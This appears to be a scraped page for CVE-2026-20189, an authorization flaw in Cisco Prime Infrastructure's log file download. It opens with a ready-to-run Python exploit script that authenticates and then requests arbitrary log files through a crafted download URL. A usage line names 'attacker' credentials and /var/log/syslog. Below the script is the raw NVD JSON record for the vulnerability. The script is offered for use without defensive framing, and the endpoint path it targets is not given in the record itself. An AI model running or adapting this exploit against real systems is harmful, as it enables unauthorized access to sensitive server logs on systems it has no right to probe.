CVE-2026-20189

import requests def exploit(target, username, password, log_path): session = requests.Session() # Step 1: Authenticate (Valid credentials required) login_data = {'username': username, 'password': password} session.post(f"{target}/webui/login", data=login_data, verify=False) # Step 2: Exploit Authorization Bypass # Craft URL to download arbitrary log file exploit_url = f"{target}/webui/api/log/download?file={log_path}" response = session.get(exploit_url, verify=False) if response.status_code == 200: print(f"[+] Success! Log content length: {len(response.text)}") return response.text else: print("[-] Exploit failed") return None # Usage # exploit("https://target-ip", "attacker", "pass", "/var/log/syslog")

{"cve": {"id": "CVE-2026-20189", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:21.360", "lastModified": "2026-05-06T18:59:53.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the log file download functionality of Cisco Prime Infrastructure could allow an authenticated, remote attacker to download arbitrary log files from the server.\r\n\r\nThis vulnerability is due to insufficient authorization checks on the download service API. An attacker could exploit this vulnerability by submitting a crafted URL request to an affected device. A successful exploit could allow the attacker to download sensitive log files that they would otherwise not have authorization to access.\r\nTo exploit this vulnerability, the attacker must have valid credentials to access the web-based management interface of the affected device."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-unauth-infodiscl-LFnLgmey", "source": "[email protected]"}]}}